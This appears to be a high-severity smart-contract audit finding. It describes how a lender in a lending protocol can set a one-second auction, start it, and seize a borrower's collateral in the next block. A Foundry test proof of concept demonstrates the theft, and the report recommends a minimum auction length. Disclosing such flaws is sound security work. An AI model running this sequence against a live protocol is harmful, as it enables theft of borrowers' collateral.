20,000 USDC
View results
Submission Details
Severity: high

A lender can liquidate a borrower's loan in any moment and steal his collateral

Summary

A lender can liquidate a borrower's loan in any moment and steal his collateral by starting a very fast auction and liquidating the loan in the next block.

Vulnerability Details

  1. lender creates a pool with 1 second auction length

  2. borrower takes a loan

  3. lender starts an auction that will finish in the same block

  4. lender liquidates the loan and takes the collateral realizing profit depending on maxLoanRatio

POC:

function test_liquidate_and_steal_collateral() public {
vm.startPrank(lender1);
// lender create a pool with 1 second auction length
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 seconds, // 1 second auction
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 1000 * 10 ** 18,
collateral: 2000 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// lender starts an auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
// time travel to next block
vm.warp(block.timestamp + 1 seconds);
// lender liquidates borrower's position in the next block
lender.seizeLoan(loanIds);
// borrower lost the collateral
assertEq(collateralToken.balanceOf(borrower), 98000 * 10 ** 18);
// lender stole the collateral with a ~+100% profit (in this case)
uint256 govFee = (lender.borrowerFee() * 2000 * 10 ** 18) / 10000;
assertEq(collateralToken.balanceOf(lender1), 2000 * 10 ** 18 - govFee);
}

Impact

Lender can steal borrower's collateral.

Tools Used

Manual review

Recommendations

Use a MIN_AUCTION_LENGTH constant to let the user repay its debt.
In addition you can use variables such a liquidation threshold or an expiration time as constraints to start an auction.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.